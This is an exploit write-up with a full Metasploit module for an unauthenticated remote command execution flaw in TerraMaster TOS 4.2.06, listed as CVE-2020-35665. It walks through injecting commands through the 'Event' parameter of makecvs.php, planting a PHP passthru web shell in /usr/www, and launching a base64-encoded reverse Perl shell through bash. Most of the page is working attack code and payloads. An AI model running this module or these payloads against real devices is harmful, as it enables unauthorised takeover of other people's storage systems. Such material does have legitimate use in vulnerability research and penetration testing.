EDB-ID: 49330

CVE-2020-35665

22 Dec, 2020 • EXPLOIT

  • A suitable exploitation vector was used to exploit this vulnerability.
  • Vendor did not fixed this vulnerability yet.
  • Exploit-DB Link
  • CVE-Mitre Link
  • Other Ref
  • Download terramaster_tos_unauth_rce.rb (Metasploit)
  • This module exploits a unauthenticated command execution vulnerability in TerraMaster TOS <= 4.2.06. The "Event" parameter in "include/makecvs.php" contains a vulnerability. "filename" is executing command on system during ".csv" creation. In order to do this, it is not necessary to have a session in the application. Therefore an unathenticated user can execute the command on the system.

    Analysis of Vulnerability

    Let's start by examining the "include/makecvs.php" where we send the HTTP request.

    Considered parameters :Service,DateTime,User,Client-IP,Client-PORT,Event

    Logs of the latest service(HTTP,SSH etc.) transactions can be output as csv file.

    The "Event" parameter represents the service name. The "makecvs.php" file uses the variable assigned for the "Event" parameter directly in the server command line. Therefore, we can run an extra command on the system using a pipe with the content specified for this parameter.

    But no cmd output can be seen in the returned response. We must take an initiative to see the response belong to our commands. The application is php based and the "TOS/1.12.1" service allows running PHP files.

    First, we need to upload a php to application home directory where we can easily run commands.

    TerraMaster works in the "/usr/www/" directory. It will be enough to use PHP passthru(). However, the PHP file we will upload should receive data via HTTP POST, not HTTP GET. Because many payloads we will use for receive shell are quite large and HTTP GET method does not accept large data.

    echo(passthru(\$_REQUEST['cmd']));
    

    The PHP payload above will be enough for now. The data in the "cmd" parameter that we will POST will work directly as the system command.We will also use echo and print it to the directory we want.

    http|echo "" >> /usr/www/shell.php && chmod +x /usr/www/shell.php||
    

    Our first job will be completed when the above payload is sent to the system.

    Our file has been successfully uploaded and we can now execute the system command at basic level.

    Advanced Exploitation

    In the vulnerable system, we must get an interactive shell. The exploit we will prepare will be a metasploit module and the payloads it uses in itself should be placed in accordance with the exploitation of this vulnerability.

    We gonna use HTTP POST method anyway. So we can place a large payload.

    The method I used in a different exploit before is also suitable for this exploit.

    Let's first check for the vulnerability with the version of the application. The HTTP GET method to be made in TerraMaster "/version" directory reflects the application version by request.

      def check
    
        res = send_request_cgi(
          'method'  => 'GET',
          'uri'     =>  normalize_uri(target_uri.path, "version"),
        )
    

    This request will be sufficient. "res.body" will return like "TOS3_S2.0_4.1.30". We will check with version numbers after "0_". So we have to separate it.

    version = res.body.split(".0_")[1]
    

    it will be like "4.1.30". In this part, if we remove the points, we can very easily apply the smaller/bigger condition.

    version = version.split(".").join('')
    

    As a result of this operation, version will be like "4130". Vulnerable version is 4.2.06. If the version is equal or less than 4206, we can say that the application is vulnerable.

    Therefore, we can control the vulnerability with a codes like the one below.

    res = send_request_cgi(
          'method'  => 'GET',
          'uri'     =>  normalize_uri(target_uri.path, "version"),
        )
    
        if res && res.code == 200 && res.body
          version = res.body.split(".0_")[1]
          print_status("Version : " + res.body)
          return CheckCode::Detected if version.nil?
          version = version.split(".").join('')
          if version <= "4206"
            return CheckCode::Vulnerable
          else
            return CheckCode::Safe
          end
        end
    

    The next step is to upload a php file to the server.

    With the rand_text_alpha_lower() function we will create a random string of lowercase letters and this will be the name of our php file.

    sname = Rex::Text.rand_text_alpha_lower(8) + ".php"
    

    Now let's specify our first payload. We have already done this manually before.

    payload_post = "http|echo \"\" >> /usr/www/#{sname} && chmod +x /usr/www/#{sname}||"
    

    We can send this payload to the server with the part below.

    res = send_request_cgi(
          'method'  => 'GET',
          'uri' => normalize_uri(target_uri.path, "include", "makecvs.php"),
          'vars_get' => {
            'Event' => "#{payload_post}",
          }
        )
    

    We now have a malicious file on the server where we can execute commands and view the results as a response to the HTTP request.

    Let's check that the module we have prepared has successfully uploaded this malicious file and can run a command.

    res = send_request_cgi(
          'method'  => 'POST',
          'uri'     =>  normalize_uri(target_uri.path, "#{sname}"),
          'vars_post' => {
            'cmd' => 'id'
          }
        )
    

    In the above process, we specified the file name we uploaded and asked it to run "id" as a command via cmd parameter.

    As seen in manual control, if the response contains the value "uid=", the command has successfully run.

    if res && res.code == 200 && res.body.include?('uid=')
          print_good("Upload completed successfully and command executed!")
    

    Therefore, a basic check as above will be sufficient.

    We're at the last stage. We gonna prepare a payload to get an interactive shell from the server. In this section, I searched for a language installed by default on the TerraMaster server.

    Python was not there but Perl is installed by default. So we can use a payload with perl.

    However, the payload we will use contains a lot of special characters as seen above. Even if we use escape for PHP it will still break the PHP syntax. Therefore, payload cannot be used directly. So how about using "bash"?

    here we will get support from the unix command line. We can encode the perl payload with the base64 algorithm.

    bash -c "{echo,' + "#{base64_perl_payload}" + '}
    

    As above the perl payload prepared can be encoded as base64 and run within the "bash" command. But in the "bash" command line, this base64 data must also be decoded. To perform this operation at the same time, We can use pipe "|" .

    @b64p = Rex::Text.encode_base64(payload.encoded)
    

    payload is encoded as base64.

    perl_payload = 'bash -c "{echo,' + "#{@b64p}" + '}|{base64,-d}|{bash,-i}"'
    

    It was then placed inside the "bash" command.

    Before performing the HTTP request, we have to put the payload I prepared into the url encode process.

    payload = Rex::Text.uri_encode(perl_payload)
    

    With this process, we will have made a request in accordance with the HTTP protocol.

    Everything is ready. We can now tidy up the module.

    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
    
      def initialize(info = {})
        super(update_info(info,
          'Name' => "TerraMaster TOS 4.2.06 - Unauthenticated Remote Code Execution",
          'Description' => %q(
            This module exploits a unauthenticated command execution vulnerability in TerraMaster TOS.
            The "Event" parameter in "include/makecvs.php" contains a vulnerability. 
            "filename" is executing command on system during ".csv" creation. 
            In order to do this, it is not necessary to have a session in the application.
            Therefore an unathenticated user can execute the command on the system.
          ),
          'License' => MSF_LICENSE,
          'Author' =>
            [
              'AkkuS <Özkan Mustafa Akkuş>', #PoC & Metasploit module
              'IHTeam' # Discovery
            ],
          'References' =>
            [
              ['CVE', '2020-'],
              ['URL', 'http://www.pentest.com.tr/exploits/TerraMaster-TOS-4-2-06-Unauthenticated-Remote-Code-Execution.html'],
              ['URL', 'https://www.ihteam.net/advisory/terramaster-tos-multiple-vulnerabilities/']
            ],
          'Platform' => 'unix',
          'Arch' => ARCH_CMD,
          'Targets' => [['Automatic', {}]],
          'Privileged' => false,
          'DisclosureDate' => "Dec 12 2020",
          'DefaultTarget' => 0,
          'DefaultOptions' =>
            {
              'RPORT' => 8181,
              'SSL'   => false,
              'PAYLOAD' => 'cmd/unix/reverse_perl' }))
    
        register_options(
          [
            OptString.new('TARGETURI', [true, "Base ERP directory path", '/'])
          ]
        )
      end
    
      def run_cmd(file,cmd)
    
        res = send_request_cgi(
          {
            'method' => 'POST',
            'ctype'  => 'application/x-www-form-urlencoded',
            'uri'     =>  normalize_uri(target_uri.path, "#{file}"),
            'data' => "cmd=#{cmd}"
          })
      end
    
      def upload_shell
        sname = Rex::Text.rand_text_alpha_lower(8) + ".php"
        payload_post = "http|echo \"\" >> /usr/www/#{sname} && chmod +x /usr/www/#{sname}||"
        @b64p = Rex::Text.encode_base64(payload.encoded)
        perl_payload = 'bash -c "{echo,' + "#{@b64p}" + '}|{base64,-d}|{bash,-i}"'
        payload = Rex::Text.uri_encode(perl_payload)
    
        res = send_request_cgi(
          'method'  => 'GET',
          'uri' => normalize_uri(target_uri.path, "include", "makecvs.php"),
          'vars_get' => {
            'Event' => "#{payload_post}",
          }
        )
    
        res = send_request_cgi(
          'method'  => 'POST',
          'uri'     =>  normalize_uri(target_uri.path, "#{sname}"),
          'vars_post' => {
            'cmd' => 'id'
          }
        )
    
        if res && res.code == 200 && res.body.include?('uid=')
          print_good("Upload completed successfully and command executed!")
          run_cmd("#{sname}",payload)
        else
          fail_with(Failure::NoAccess, 'Error occurred during uploading!')
        end
      end
    
      def exploit
        unless Exploit::CheckCode::Vulnerable == check
          fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
        end
        upload_shell    
      end
    
      def check
    
        res = send_request_cgi(
          'method'  => 'GET',
          'uri'     =>  normalize_uri(target_uri.path, "version"),
        )
    
        if res && res.code == 200 && res.body
          version = res.body.split(".0_")[1]
          print_status("Version : " + res.body)
          return CheckCode::Detected if version.nil?
          version = version.split(".").join('')
          if version <= "4206"
            return CheckCode::Vulnerable
          else
            return CheckCode::Safe
          end
        end
      end
    end
    

    It's time to try the exploit.